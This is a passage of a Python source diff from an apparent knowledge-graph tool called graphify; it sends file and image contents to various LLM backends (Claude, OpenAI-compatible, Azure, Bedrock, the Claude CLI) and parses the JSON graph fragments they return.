provider_base_url_ok(str(cfg.get("base_url", "")), name): + continue + if "pricing" not in cfg: + cfg = dict(cfg, pricing={"input": 0.0, "output": 0.0}) + providers[name] = cfg + except Exception: + pass + return providers + + +BACKENDS.update(_load_custom_providers()) + + +def _resolve_max_tokens(default: int) -> int: + """Honour GRAPHIFY_MAX_OUTPUT_TOKENS env var override, else use backend default.""" + raw = os.environ.get("GRAPHIFY_MAX_OUTPUT_TOKENS", "").strip() + if raw: + try: + v = int(raw) + if v > 0: + return v + except ValueError: + pass + return default + + +def _resolve_api_timeout(default: float = 600.0) -> float: + """Honour GRAPHIFY_API_TIMEOUT env var override, else use default (seconds).""" + raw = os.environ.get("GRAPHIFY_API_TIMEOUT", "").strip() + if raw: + try: + v = float(raw) + if v > 0: + return v + except ValueError: + pass + return default + +_EXTRACTION_SYSTEM = """\ +You are a graphify semantic extraction agent. Extract a knowledge graph fragment from the files provided. +Output ONLY valid JSON — no explanation, no markdown fences, no preamble. + +Rules: +- EXTRACTED: relationship explicit in source (import, call, citation, reference) +- INFERRED: reasonable inference (shared data structure, implied dependency) +- AMBIGUOUS: uncertain — flag for review, do not omit + +Node ID format: lowercase, only [a-z0-9_], no dots or slashes. +Format: {stem}_{entity} where stem = filename without extension, entity = symbol name (both normalised). + +Output exactly this schema: +{"nodes":[{"id":"stem_entity","label":"Human Readable Name","file_type":"code|document|paper|image|rationale|concept","source_file":"relative/path","source_location":null,"source_url":null,"captured_at":null,"author":null,"contributor":null}],"edges":[{"source":"node_id","target":"node_id","relation":"calls|implements|references|cites|conceptually_related_to|shares_data_with|semantically_similar_to","confidence":"EXTRACTED|INFERRED|AMBIGUOUS","confidence_score":1.0,"source_file":"relative/path","source_location":null,"weight":1.0}],"hyperedges":[],"input_tokens":0,"output_tokens":0} +""" + +_DEEP_EXTRACTION_SUFFIX = """\ + +DEEP_MODE: include additional INFERRED edges only for concrete architectural +signals (shared data contracts, explicit lifecycle coupling, or multi-step flow +dependencies visible in the sources). Avoid broad conceptual similarity edges. +Mark uncertain ones AMBIGUOUS instead of omitting. +""" + + +def _extraction_system(*, deep: bool = False) -> str: + """Return the semantic-extraction system prompt, optionally in deep mode.""" + if not deep: + return _EXTRACTION_SYSTEM + return _EXTRACTION_SYSTEM + _DEEP_EXTRACTION_SUFFIX + + +def _file_to_text(path: Path) -> str: + """Return a text-like file's content for the extraction prompt. + + Most files are read directly. PDFs are binary, so reading them with + `read_text` yields garbage (the same failure images had); route them through + pypdf instead. A scanned PDF with no text layer extracts to an empty string, + which still produces a reference node rather than noise. + """ + if path.suffix.lower() == ".pdf": + from graphify.detect import extract_pdf_text + return extract_pdf_text(path) + return path.read_text(encoding="utf-8", errors="replace") + + +def _read_files(paths: list[Path], root: Path) -> str: + """Return file contents formatted for the extraction prompt.""" + parts: list[str] = [] + for p in paths: + try: + rel = p.relative_to(root) + except ValueError: + rel = p + try: + content = _file_to_text(p) + except OSError: + continue + parts.append(f"=== {rel} ===\n{content[:20000]}") + return "\n\n".join(parts) + + +# ── Image (vision) handling ─────────────────────────────────────────────────── +# Raster image types a vision model can actually look at. `.svg` is intentionally +# excluded: it is XML markup, so `_read_files` reads it as text (the model parses +# the source directly), which is more useful than rasterising it. Before this, +# every image was fed through `path.read_text(errors="replace")`, turning binary +# pixels into garbage text — noise for API backends and an outright `exit 1` for +# the claude-cli backend. +_VISION_IMAGE_EXTENSIONS = {".png", ".jpg", ".jpeg", ".gif", ".webp"} +_IMAGE_MEDIA_TYPES = { + ".png": "image/png", + ".jpg": "image/jpeg", + ".jpeg": "image/jpeg", + ".gif": "image/gif", + ".webp": "image/webp", +} +# Per-image byte ceiling. Anthropic caps a request at 32 MB and Bedrock images +# at ~5 MB; 5 MB per image keeps every backend within limits. Oversized images +# fall back to a text reference (the node is still created, just unseen). +_MAX_IMAGE_BYTES = 5 * 1024 * 1024 +# Flat token estimate per image for chunk packing. Vision models bill an image +# at a roughly fixed cost regardless of file size, so estimating by byte size +# (as the generic path does) would force every large PNG into its own chunk. +_IMAGE_TOKEN_ESTIMATE = 1_600 +# Hard cap on images per chunk, independent of the token budget. A large +# token budget would otherwise pack hundreds of images into one request — +# past provider per-request image limits (Anthropic allows 100), and far too +# many for the claude-cli Read-tool loop to work through. Keeps memory and +# request size bounded on image-dense corpora. +_MAX_IMAGES_PER_CHUNK = 20 +# Backends that read an image by file path (claude-cli's Read tool) +# instead of inlining base64. They open the file themselves and downsample as +# needed, so `_MAX_IMAGE_BYTES` does not apply and the bytes never need loading. +_PATH_IMAGE_BACKENDS = {"claude-cli"} + + +@dataclass +class _ImageRef: + """A single image destined for a vision request. + + `raw` is None when the image is unreadable or exceeds `_MAX_IMAGE_BYTES`, or + when the target backend has no vision support — in every such case the + renderers emit a text reference instead of pixels, so the image still + becomes a graph node. + """ + + path: Path # absolute path (claude-cli reads it via the Read tool) + rel: str # path relative to the corpus root (the node's source_file) + media_type: str # e.g. "image/png" + raw: bytes | None + + @property + def b64(self) -> str: + return base64.standard_b64encode(self.raw).decode("ascii") if self.raw else "" + + @property + def bedrock_format(self) -> str: + # Converse wants a bare format token, not a media type. + return self.media_type.split("/", 1)[-1] + + +def _is_vision_image(path: Path) -> bool: + return path.suffix.lower() in _VISION_IMAGE_EXTENSIONS + + +def _partition_semantic_files(files: list[Path]) -> tuple[list[Path], list[Path]]: + """Split a chunk into (text-like files, raster-image files).""" + text_files = [f for f in files if not _is_vision_image(f)] + image_files = [f for f in files if _is_vision_image(f)] + return text_files, image_files + + +def _build_image_refs(image_files: list[Path], root: Path, *, read_bytes: bool = True) -> list[_ImageRef]: + """Build `_ImageRef`s for raster images. + + `read_bytes=True` (base64 backends) loads the pixels and drops any image over + `_MAX_IMAGE_BYTES` to a reference, because a base64 request body has a hard + size ceiling. `read_bytes=False` (path-based backends — claude-cli) + skips the read entirely: those backends open the file themselves and + downsample as needed, so there is no per-image size limit and no reason to + load (potentially tens of MB of) bytes that would never be used. + """ + refs: list[_ImageRef] = [] + for p in image_files: + try: + rel = str(p.relative_to(root)) + except ValueError: + rel = str(p) + media = _IMAGE_MEDIA_TYPES.get(p.suffix.lower(), "image/png") + raw: bytes | None = None + if read_bytes: + try: + raw = p.read_bytes() + except OSError as exc: + print(f"[graphify] could not read image {rel}: {exc}", file=sys.stderr) + raw = None + if raw is not None and len(raw) > _MAX_IMAGE_BYTES: + print( + f"[graphify] image {rel} is {len(raw) // 1024} KB, over the " + f"{_MAX_IMAGE_BYTES // (1024 * 1024)} MB inline-image limit for this " + "backend; sending it as a reference node without inline pixels.", + file=sys.stderr, + ) + raw = None + try: + abs_path = p.resolve() + except OSError: + abs_path = p + refs.append(_ImageRef(abs_path, rel, media, raw)) + return refs + + +def _strip_pixels(refs: list[_ImageRef]) -> list[_ImageRef]: + """Return refs with pixel data dropped (for non-vision backends).""" + return [replace(r, raw=None) for r in refs] + + +def _backend_supports_vision(backend: str) -> bool: + """Whether `backend`'s configured model can see images. + + Ollama is special-cased: its default model is text-only, so vision is + opt-in via GRAPHIFY_OLLAMA_VISION=1 once the user selects a vision model + (e.g. --model llama3.2-vision). + """ + if backend == "ollama": + return os.environ.get("GRAPHIFY_OLLAMA_VISION", "").strip() == "1" + return bool(BACKENDS.get(backend, {}).get("vision", False)) + + +def _image_notes(refs: list[_ImageRef], *, with_paths: bool = False) -> str: + """Text block listing the images so the model emits one node per image. + + Always included alongside the visual payload (and used on its own when the + backend can't see pixels), so an image becomes a graph node either way. + `with_paths=True` also lists the absolute path and asks the model to open it + with the Read tool — used by the claude-cli backend. + """ + if not refs: + return "" + if with_paths: + header = ( + "Use the Read tool to open and view each image file at the path below, " + "then emit one node per image" + ) + else: + header = ( + "The following image file(s) are attached as visual input. Emit one " + "node per image" + ) + lines = [ + "=== IMAGES ===", + f"{header} with \"file_type\":\"image\" and the listed source_file, a label " + "describing what it depicts (diagram, screenshot, chart, photo, UI, logo), " + "and edges to any code/doc nodes the image clearly references.", + ] + for i, r in enumerate(refs, 1): + note = f"[image {i}] source_file: {r.rel}" + if with_paths: + note += f" path: {r.path}" + if r.raw is None and not with_paths: + note += " (not shown: unreadable or exceeds size limit)" + lines.append(note) + return "\n".join(lines) + + +def _with_image_notes(user_message: str, refs: list[_ImageRef], *, with_paths: bool = False) -> str: + notes = _image_notes(refs, with_paths=with_paths) + if not notes: + return user_message + if not user_message.strip(): + return notes + return f"{user_message}\n\n{notes}" + + +def _anthropic_content(user_message: str, refs: list[_ImageRef]): + """Build the Anthropic `messages[].content` value (str, or block list with images).""" + blocks = [ + {"type": "image", "source": {"type": "base64", "media_type": r.media_type, "data": r.b64}} + for r in refs + if r.raw + ] + text = _with_image_notes(user_message, refs) + if not blocks: + return text + return [*blocks, {"type": "text", "text": text}] + + +def _openai_content(user_message: str, refs: list[_ImageRef]): + """Build the OpenAI-compatible user `content` value (str, or part list with images).""" + parts: list[dict] = [ + { + "type": "image_url", + "image_url": {"url": f"data:{r.media_type};base64,{r.b64}", "detail": "auto"}, + } + for r in refs + if r.raw + ] + text = _with_image_notes(user_message, refs) + if not parts: + return text + return [{"type": "text", "text": text}, *parts] + + +def _bedrock_content(user_message: str, refs: list[_ImageRef]) -> list[dict]: + """Build the Bedrock Converse user content list (raw bytes, not base64).""" + content: list[dict] = [ + {"image": {"format": r.bedrock_format, "source": {"bytes": r.raw}}} + for r in refs + if r.raw + ] + content.append({"text": _with_image_notes(user_message, refs)}) + return content + + +_LLM_JSON_MAX_BYTES = 10 * 1024 * 1024 # 10 MB hard cap before json.loads (F-016) + + +def _parse_llm_json(raw: str) -> dict: + """Strip optional markdown fences and parse JSON. Returns empty fragment on failure. + + Caps the input at `_LLM_JSON_MAX_BYTES` so a hostile or runaway model + response cannot exhaust memory inside `json.loads` (F-016). + """ + if len(raw) > _LLM_JSON_MAX_BYTES: + print( + f"[graphify] LLM response exceeds {_LLM_JSON_MAX_BYTES} bytes " + f"({len(raw)} bytes); refusing to parse and dropping chunk.", + file=sys.stderr, + ) + return {"nodes": [], "edges": [], "hyperedges": []} + # Strategy 1: strip whitespace, then handle markdown fences anywhere in the + # text (not only at offset 0 — the original code only stripped fences when + # `raw.startswith("```")`, missing the common case where Claude prepends a + # preamble like "Here's the extracted entities:\n\n```json\n{...}\n```"). + stripped = raw.strip() + fence_start = stripped.find("```") + if fence_start != -1: + after_fence = stripped[fence_start + 3 :] + # Optional language tag (json, JSON, javascript, etc.) up to newline. + nl = after_fence.find("\n") + if nl != -1 and after_fence[:nl].strip().lower() in {"json", "javascript", "js", ""}: + after_fence = after_fence[nl + 1 :] + fence_end = after_fence.rfind("```") + if fence_end != -1: + stripped = after_fence[:fence_end].strip() + else: + stripped = after_fence.strip() + try: + return json.loads(stripped) + except json.JSONDecodeError: + pass + # Strategy 2: extract the first balanced JSON object found anywhere in + # the text. Handles the case where Claude wraps the JSON in prose without + # any markdown fence ("The extracted graph is { ... }. Hope this helps!"). + start = stripped.find("{") + if start != -1: + depth = 0 + in_string = False + escape = False + for i in range(start, len(stripped)): + ch = stripped[i] + if escape: + escape = False + continue + if ch == "\\": + escape = True + continue + if ch == '"': + in_string = not in_string + continue + if in_string: + continue + if ch == "{": + depth += 1 + elif ch == "}": + depth -= 1 + if depth == 0: + try: + return json.loads(stripped[start : i + 1]) + except json.JSONDecodeError: + break + print( + f"[graphify] LLM returned invalid JSON, skipping chunk " + f"(first 200 chars: {raw[:200]!r})", + file=sys.stderr, + ) + return {"nodes": [], "edges": [], "hyperedges": []} + + +def _response_is_hollow(raw_content: str | None, parsed: dict) -> bool: + """Detect a successful HTTP response that yielded no usable extraction. + + A local model under load (most often Ollama) can return HTTP 200 with an + empty / null `message.content`, with whitespace, or with a half-generated + JSON prefix that fails to parse. All of these collapse to a "successful" + call producing zero nodes and zero edges. Without this check the chunk + is silently dropped from the corpus because no exception is raised and + `finish_reason` is `"stop"` rather than `"length"`. By flagging the + result as hollow, callers can re-route it through the same bisection + path used for context-window overflow and `finish_reason="length"`. + """ + if raw_content is None or not raw_content.strip(): + return True + nodes = parsed.get("nodes") + edges = parsed.get("edges") + hyperedges = parsed.get("hyperedges") + return not nodes and not edges and not hyperedges + + +def _backend_env_keys(backend: str) -> list[str]: + """Return accepted API-key environment variables for a backend.""" + cfg = BACKENDS[backend] + keys = cfg.get("env_keys") + if keys: + return list(keys) + env_key = cfg.get("env_key") + if env_key: + return [env_key] + return [] + + +def _get_backend_api_key(backend: str) -> str: + """Return the first configured API key for backend, or an empty string.""" + for env_key in _backend_env_keys(backend): + value = os.environ.get(env_key) + if value: + return value + return "" + + +def _format_backend_env_keys(backend: str) -> str: + """Return user-facing accepted API-key variable names.""" + keys = _backend_env_keys(backend) + return " or ".join(keys) if keys else "AWS_PROFILE or AWS_REGION" + + +def _default_model_for_backend(backend: str) -> str: + """Return configured model override or backend default model.""" + cfg = BACKENDS[backend] + model_env_key = cfg.get("model_env_key") + if model_env_key: + model = os.environ.get(model_env_key) + if model: + return model + return cfg["default_model"] + + +def _backend_pkg_hint(pkg: str, extra: str) -> str: + """Package-missing message that works for the recommended `uv tool` install. + + `uv tool install graphifyy` puts graphify in an isolated venv, so a plain + `pip install ` never reaches it - the friction a user hits when a + backend needs anthropic/openai/boto3 and the only advice was "pip install". + Point at the extra and the uv path first, then the pip/venv fallback. + """ + return ( + f"the '{pkg}' package is required for this backend but is not installed. " + f"Install it with: uv tool install \"graphifyy[{extra}]\" --force " + f"(uv tool), or pip install {pkg} (pip/venv install)." + ) + + +def _call_openai_compat( + base_url: str, + api_key: str, + model: str, + user_message: str, + temperature: float | None = 0, + reasoning_effort: str | None = None, + max_completion_tokens: int = 8192, + *, + backend: str = "", + deep_mode: bool = False, + images: list[_ImageRef] | None = None, +) -> dict: + """Call any OpenAI-compatible API (Kimi, OpenAI, etc.) and return parsed JSON.""" + try: + from openai import OpenAI + except ImportError as exc: + extra = backend if backend in ("kimi", "gemini", "openai", "ollama") else "openai" + raise ImportError(_backend_pkg_hint("openai", extra)) from exc + + # Local backends (ollama, llama.cpp, vLLM) routinely take >60s for a + # single chunk on a large model — far longer than the openai SDK's + # default. Honour GRAPHIFY_API_TIMEOUT (seconds) for explicit override; + # default to 600s, which is long enough for a 31B model on a 16k chunk + # but still bounds runaway connections (issue #792 addendum). + client = OpenAI(api_key=api_key, base_url=base_url, timeout=_resolve_api_timeout()) + kwargs: dict = { + "model": model, + "messages": [ + {"role": "system", "content": _extraction_system(deep=deep_mode)}, + {"role": "user", "content": _openai_content(user_message, images or [])}, + ], + "max_completion_tokens": max_completion_tokens, + } + if temperature is not None: + kwargs["temperature"] = temperature + if reasoning_effort is not None: + kwargs["reasoning_effort"] = reasoning_effort + # Kimi-k2.6 is a reasoning model — disable thinking so content isn't empty + if "moonshot" in base_url: + kwargs["extra_body"] = {"thinking": {"type": "disabled"}} + # Ollama defaults num_ctx to 2048 and silently truncates prompts larger + # than that — the symptom is hollow 200 OK responses after the first few + # chunks (#798). We derive num_ctx from the actual prompt size so we don't + # over-allocate KV-cache VRAM. Over-allocation (e.g. 128k slots for an 8k + # prompt on a 31B model) exhausts VRAM by chunk 4 and produces the same + # hollow-200 symptom — just from a different direction (#798 follow-up). + # Formula: actual input tokens + output cap + system prompt headroom. + # Capped at 131072 (enough for the default 60k token_budget); env var wins. + if backend == "ollama": + num_ctx_raw = os.environ.get("GRAPHIFY_OLLAMA_NUM_CTX", "").strip() + # Auto-derive num_ctx from actual chunk size regardless — used as the + # fallback and for the mismatch check below. + estimated_input = len(user_message) // _CHARS_PER_TOKEN + 400 + auto_num_ctx = min(estimated_input + max_completion_tokens + 2000, 131072) + auto_num_ctx = max(auto_num_ctx, 8192) + if num_ctx_raw: + try: + num_ctx = int(num_ctx_raw) + except ValueError: + # Bad env var: fall through to auto-derivation (not 131072 — + # hardcoding the cap is what causes OOM on constrained VRAM). + print( + f"[graphify] GRAPHIFY_OLLAMA_NUM_CTX={num_ctx_raw!r} is not a valid integer; " + f"using auto-derived value ({auto_num_ctx}).", + file=sys.stderr, + ) + num_ctx = auto_num_ctx + else: + # Warn when the pinned value is smaller than the estimated input — + # Ollama silently truncates the prompt and returns empty responses. + if num_ctx < estimated_input: + print( + f"[graphify] warning: GRAPHIFY_OLLAMA_NUM_CTX={num_ctx} is smaller than " + f"the estimated chunk input (~{estimated_input} tokens). Ollama will " + f"silently truncate the prompt and return empty responses. " + f"Try --token-budget {max(1024, num_ctx // 3)} or increase NUM_CTX.", + file=sys.stderr, + ) + else: + # Estimate input tokens: user_message chars / 4 (standard BPE + # heuristic) + 400 for the system prompt, then add output headroom. + num_ctx = auto_num_ctx + keep_alive = os.environ.get("GRAPHIFY_OLLAMA_KEEP_ALIVE", "30m") + kwargs["extra_body"] = {"options": {"num_ctx": num_ctx}, "keep_alive": keep_alive} + resp = client.chat.completions.create(**kwargs) + if not resp.choices or resp.choices[0].message is None: + raise ValueError("LLM returned empty or filtered response") + raw_content = resp.choices[0].message.content + result = _parse_llm_json(raw_content or "{}") + result["input_tokens"] = resp.usage.prompt_tokens if resp.usage else 0 + result["output_tokens"] = resp.usage.completion_tokens if resp.usage else 0 + result["model"] = model + # `finish_reason == "length"` means the model hit max_completion_tokens + # mid-generation. The JSON we got back is truncated; callers should + # treat this as a signal to retry with smaller input. + result["finish_reason"] = resp.choices[0].finish_reason + # An overwhelmed local model (typically Ollama) can return HTTP 200 with + # empty / null content or unparseable half-generated JSON. The call looks + # successful, `finish_reason` is `"stop"`, and the chunk would be silently + # dropped from the corpus. Re-label as `"length"` so the adaptive retry + # layer bisects the chunk — same recovery as a true truncation. + if _response_is_hollow(raw_content, result) and result["finish_reason"] != "length": + print( + f"[graphify] {backend or 'backend'} returned a hollow response " + f"(content={'empty' if not (raw_content or '').strip() else 'no nodes/edges'}, " + f"output_tokens={result['output_tokens']}); " + "treating as truncation so adaptive retry can bisect the chunk.", + file=sys.stderr, + ) + result["finish_reason"] = "length" + output_tokens = result["output_tokens"] + if output_tokens < 50 and backend == "ollama": + print( + "[graphify] warning: ollama returned very few tokens — likely causes: " + "(1) VRAM pressure: check `nvidia-smi` and reduce chunk size with " + "--token-budget (e.g. --token-budget 4096) or set " + "GRAPHIFY_OLLAMA_NUM_CTX to a smaller value; " + "(2) model too small for JSON instruction following — " + "try a larger model with --model (e.g. --model qwen2.5-coder:14b).", + file=sys.stderr, + ) + return result + + +def _call_claude(api_key: str, model: str, user_message: str, max_tokens: int = 8192, *, deep_mode: bool = False, images: list[_ImageRef] | None = None) -> dict: + """Call Anthropic Claude directly (not via OpenAI compat layer).""" + try: + import anthropic + except ImportError as exc: + raise ImportError(_backend_pkg_hint("anthropic", "anthropic")) from exc + + client = anthropic.Anthropic(api_key=api_key, timeout=_resolve_api_timeout()) + resp = client.messages.create( + model=model, + max_tokens=max_tokens, + system=_extraction_system(deep=deep_mode), + messages=[{"role": "user", "content": _anthropic_content(user_message, images or [])}], + ) + raw_content = resp.content[0].text if resp.content else None + result = _parse_llm_json(raw_content or "{}") + result["input_tokens"] = resp.usage.input_tokens if resp.usage else 0 + result["output_tokens"] = resp.usage.output_tokens if resp.usage else 0 + result["model"] = model + # Normalise Anthropic's `stop_reason` to the OpenAI-compat `finish_reason` + # vocabulary so the adaptive-retry layer doesn't have to know which + # backend produced the result. + result["finish_reason"] = "length" if resp.stop_reason == "max_tokens" else "stop" + if _response_is_hollow(raw_content, result) and result["finish_reason"] != "length": + print( + "[graphify] claude returned a hollow response; treating as " + "truncation so adaptive retry can bisect the chunk.", + file=sys.stderr, + ) + result["finish_reason"] = "length" + return result + + +def _call_claude_cli(user_message: str, max_tokens: int = 8192, *, deep_mode: bool = False, images: list[_ImageRef] | None = None) -> dict: + """Call Claude via the locally-installed Claude Code CLI (`claude -p`). + + Routes through the user's Claude Code subscription auth instead of a separate + ANTHROPIC_API_KEY. Useful for Pro/Max subscribers who don't want to provision + a pay-as-you-go API key just to run graphify's semantic pass. + + Images are passed by absolute path rather than inline base64: the prompt asks + the model to open each one with its Read tool, and each containing directory + is allowlisted with `--add-dir` so the read is permitted. + """ + import platform + import shutil + import subprocess + + # On Windows, npm installs `claude` as both `claude.ps1` and `claude.cmd` + # alongside each other. When PATHEXT lists `.PS1` before `.CMD`, + # `shutil.which("claude")` returns `claude.ps1`, which `CreateProcess` + # cannot execute directly — it raises `[WinError 2] The system cannot + # find the file specified`. `claude.cmd` IS executable by CreateProcess, + # so prefer it explicitly on Windows. See issue #1072. + claude_cmd = "claude" + if platform.system() == "Windows": + cmd_path = shutil.which("claude.cmd") + if cmd_path: + claude_cmd = cmd_path + elif shutil.which("claude") is None: + raise RuntimeError( + "Claude Code CLI not found on $PATH. Install from " + "https://claude.ai/code and run `claude` once to authenticate." + ) + elif shutil.which("claude") is None: + raise RuntimeError( + "Claude Code CLI not found on $PATH. Install from " + "https://claude.ai/code and run `claude` once to authenticate." + ) + + # Use --system-prompt (replaces) instead of --append-system-prompt (adds + # to Claude Code's default coding-agent prompt). The default prompt + # pushes the model towards markdown + prose explanations, which conflict + # with the "raw JSON only" extraction instruction and cause ~30-50% of + # responses to come back wrapped in ```json fences or prefixed with a + # preamble — both of which fail the strict json.loads in _parse_llm_json. + # Replacing the default prompt eliminates the conflict at the source. + # Side benefit: cache-creation tokens per call drop ~19% in practice. + # When images are present, append the Read-the-paths instruction and + # allowlist each containing directory so the CLI's Read tool can open them. + add_dir_args: list[str] = [] + if images: + user_message = _with_image_notes(user_message, images, with_paths=True) + seen_dirs: set[str] = set() + for r in images: + d = str(r.path.parent) + if d not in seen_dirs: + seen_dirs.add(d) + add_dir_args.extend(["--add-dir", d]) + + cli_args = [ + claude_cmd, "-p", + "--output-format", "json", + "--no-session-persistence", + *add_dir_args, + "--system-prompt", _extraction_system(deep=deep_mode), + ] + # claude-cli defaults to Opus, which is overkill for the structured-JSON + # extraction graphify performs. GRAPHIFY_CLAUDE_CLI_MODEL=haiku (or + # sonnet, or a full model ID like claude-haiku-4-5-20251001) lets users + # opt into a cheaper / faster model. Default behaviour unchanged when + # the env var is unset. + cli_model = os.environ.get("GRAPHIFY_CLAUDE_CLI_MODEL", "").strip() + if cli_model: + cli_args.extend(["--model", cli_model]) + proc = subprocess.run( + cli_args, + input=user_message, + capture_output=True, + text=True, + encoding="utf-8", # Force UTF-8 — prevents UnicodeEncodeError on Windows cp1252 + timeout=_resolve_api_timeout(), + check=False, + ) + if proc.returncode != 0: + raise RuntimeError( + f"claude -p exited {proc.returncode}: {proc.stderr.strip()[:500]}" + ) + + try: + envelope = json.loads(proc.stdout) + except json.JSONDecodeError as exc: + raise RuntimeError( + f"claude -p produced unparseable JSON envelope: {exc}; " + f"first 500 chars of stdout: {proc.stdout[:500]!r}" + ) from exc + + raw_content = envelope.get("result", "") + result = _parse_llm_json(raw_content or "{}") + usage = envelope.get("usage") or {} + result["input_tokens"] = ( + int(usage.get("input_tokens", 0) or 0) + + int(usage.get("cache_read_input_tokens", 0) or 0) + + int(usage.get("cache_creation_input_tokens", 0) or 0) + ) + result["output_tokens"] = int(usage.get("output_tokens", 0) or 0) + model_usage = envelope.get("modelUsage") or {} + result["model"] = next(iter(model_usage), "claude-code-plan") + stop_reason = envelope.get("stop_reason", "") + result["finish_reason"] = "length" if stop_reason == "max_tokens" else "stop" + if _response_is_hollow(raw_content, result) and result["finish_reason"] != "length": + print( + "[graphify] claude-cli returned a hollow response; treating as " + "truncation so adaptive retry can bisect the chunk.", + file=sys.stderr, + ) + result["finish_reason"] = "length" + return result + + +def _azure_client(api_key: str, endpoint: str): + """Construct an AzureOpenAI client with env-driven api_version and timeout.""" + try: + from openai import AzureOpenAI + except ImportError as exc: + raise ImportError( + "Azure OpenAI requires the openai package. Run: pip install openai" + ) from exc + api_version = os.environ.get("AZURE_OPENAI_API_VERSION", "2024-12-01-preview").strip() + timeout_raw = os.environ.get("GRAPHIFY_API_TIMEOUT", "").strip() + timeout_s: float = 600.0 + if timeout_raw: + try: + v = float(timeout_raw) + if v > 0: + timeout_s = v + except ValueError: + pass + return AzureOpenAI(api_key=api_key, azure_endpoint=endpoint, api_version=api_version, timeout=timeout_s) + + +def _call_azure( + api_key: str, + endpoint: str, + model: str, + user_message: str, + temperature: float | None = 0, + max_tokens: int = 8192, + *, + deep_mode: bool = False, +) -> dict: + """Call Azure OpenAI Service via the AzureOpenAI SDK client.""" + client = _azure_client(api_key, endpoint) + kwargs: dict = { + "model": model, + "messages": [ + {"role": "system", "content": _extraction_system(deep=deep_mode)}, + {"role": "user", "content": user_message}, + ], + "max_completion_tokens": max_tokens, + } + if temperature is not None: + kwargs["temperature"] = temperature + resp = client.chat.completions.create(**kwargs) + if not resp.choices or resp.choices[0].message is None: + raise ValueError("Azure OpenAI returned empty or filtered response") + raw_content = resp.choices[0].message.content + result = _parse_llm_json(raw_content or "{}") + result["input_tokens"] = resp.usage.prompt_tokens if resp.usage else 0 + result["output_tokens"] = resp.usage.completion_tokens if resp.usage else 0 + result["model"] = model + result["finish_reason"] = resp.choices[0].finish_reason + if _response_is_hollow(raw_content, result) and result["finish_reason"] != "length": + print( + "[graphify] azure returned a hollow response; treating as " + "truncation so adaptive retry can bisect the chunk.", + file=sys.stderr, + ) + result["finish_reason"] = "length" + return result + + +def _call_bedrock(model: str, user_message: str, max_tokens: int = 8192, *, deep_mode: bool = False, images: list[_ImageRef] | None = None) -> dict: + """Call AWS Bedrock via boto3 Converse API using the standard AWS credential chain.""" + try: + import boto3 + import botocore.exceptions + except ImportError as exc: + raise ImportError( + "AWS Bedrock extraction requires boto3. Run: pip install graphifyy[bedrock]" + ) from exc + + region = os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION") or "us-east-1" + profile = os.environ.get("AWS_PROFILE") + session = boto3.Session(profile_name=profile, region_name=region) + client = session.client("bedrock-runtime") + + try: + resp = client.converse( + modelId=model, + system=[{"text": _extraction_system(deep=deep_mode)}], + messages=[{"role": "user", "content": _bedrock_content(user_message, images or [])}], + inferenceConfig={"maxTokens": max_tokens, "temperature": 0}, + ) + except botocore.exceptions.ClientError as exc: + code = exc.response["Error"]["Code"] + msg = exc.response["Error"]["Message"] + raise RuntimeError(f"Bedrock API error ({code}): {msg}") from exc + + text = resp.get("output", {}).get("message", {}).get("content", [{}])[0].get("text", "{}") + result = _parse_llm_json(text) + usage = resp.get("usage", {}) + result["input_tokens"] = usage.get("inputTokens", 0) + result["output_tokens"] = usage.get("outputTokens", 0) + result["model"] = model + result["finish_reason"] = "length" if resp.get("stopReason") == "max_tokens" else "stop" + if _response_is_hollow(text, result) and result["finish_reason"] != "length": + print( + "[graphify] bedrock returned a hollow response; treating as " + "truncation so adaptive retry can bisect the chunk.", + file=sys.stderr, + ) + result["finish_reason"] = "length" + return result + + +def extract_files_direct( + files: list[Path], + backend: str | None = None, + api_key: str | None = None, + model: str | None = None, + root: Path = Path("."), + *, + deep_mode: bool = False, +) -> dict: + """Extract semantic nodes/edges from a list of files using the given backend. + + Returns dict with nodes, edges, hyperedges, input_tokens, output_tokens. + Raises ValueError for unknown backends or when no API key is configured. + Raises ImportError if SDK missing. + """ + if backend is None: + backend = detect_backend() + if backend is None: + raise ValueError( + "No LLM backend configured. Set one of: GEMINI_API_KEY, ANTHROPIC_API_KEY, " + "OPENAI_API_KEY, DEEPSEEK_API_KEY, MOONSHOT_API_KEY, " + "AZURE_OPENAI_API_KEY+AZURE_OPENAI_ENDPOINT, OLLAMA_BASE_URL, " + "or AWS credentials. Pass backend= explicitly to select a provider." + ) + if backend not in BACKENDS: + raise ValueError(f"Unknown backend {backend!r}. Available: {sorted(BACKENDS)}") + + cfg = BACKENDS[backend] + key = api_key or _get_backend_api_key(backend) + if not key and backend == "ollama": + # Ollama ignores auth but the OpenAI client library requires a non-empty + # string. Use a placeholder and surface a visible warning so this never + # silently routes traffic without the user realising — see F-029. + ollama_url = os.environ.get("OLLAMA_BASE_URL", cfg.get("base_url", "")) + _validate_ollama_base_url(ollama_url) + print( + "[graphify] WARNING: ollama backend selected with no OLLAMA_API_KEY set; " + f"sending corpus to {ollama_url}. Set OLLAMA_API_KEY (any non-empty value) " + "to suppress this warning.", + file=sys.stderr, + ) + key = "ollama" + if not key and backend not in ("bedrock", "claude-cli"): + raise ValueError( + f"No API key for backend '{backend}'. " + f"Set {_format_backend_env_keys(backend)} or pass api_key=." + ) + mdl = model or _default_model_for_backend(backend) + # Separate raster images from text-like files. Text goes through _read_files + # as before; images become structured refs the backend renders as pixels + # (vision backends) or as a text reference node (everything else). + text_files, image_files = _partition_semantic_files(files) + user_msg = _read_files(text_files, root) + vision = _backend_supports_vision(backend) + # Only base64 (inline) vision backends need the bytes loaded + size-capped; + # path-based backends (claude-cli) and non-vision backends do not. + read_bytes = vision and backend not in _PATH_IMAGE_BACKENDS + image_refs = _build_image_refs(image_files, root, read_bytes=read_bytes) if image_files else [] + if image_refs and not vision: + image_refs = _strip_pixels(image_refs) + max_out = _resolve_max_tokens(cfg.get("max_tokens", 8192)) + + if backend == "claude": + return _call_claude(key, mdl, user_msg, max_tokens=max_out, deep_mode=deep_mode, images=image_refs) + if backend == "claude-cli": + return _call_claude_cli(user_msg, max_tokens=max_out, deep_mode=deep_mode, images=image_refs) + if backend == "bedrock": + return _call_bedrock(mdl, user_msg, max_tokens=max_out, deep_mode=deep_mode, images=image_refs) + if backend == "azure": + endpoint = os.environ.get("AZURE_OPENAI_ENDPOINT", "").strip() + if not endpoint: + raise ValueError( + "Azure OpenAI backend requires AZURE_OPENAI_ENDPOINT to be set " + "(e.g. https://my-resource.openai.azure.com/)." + ) + return _call_azure( + key, + endpoint, + mdl, + user_msg, + temperature=cfg.get("temperature", 0), + max_tokens=max_out, + deep_mode=deep_mode, + ) + return 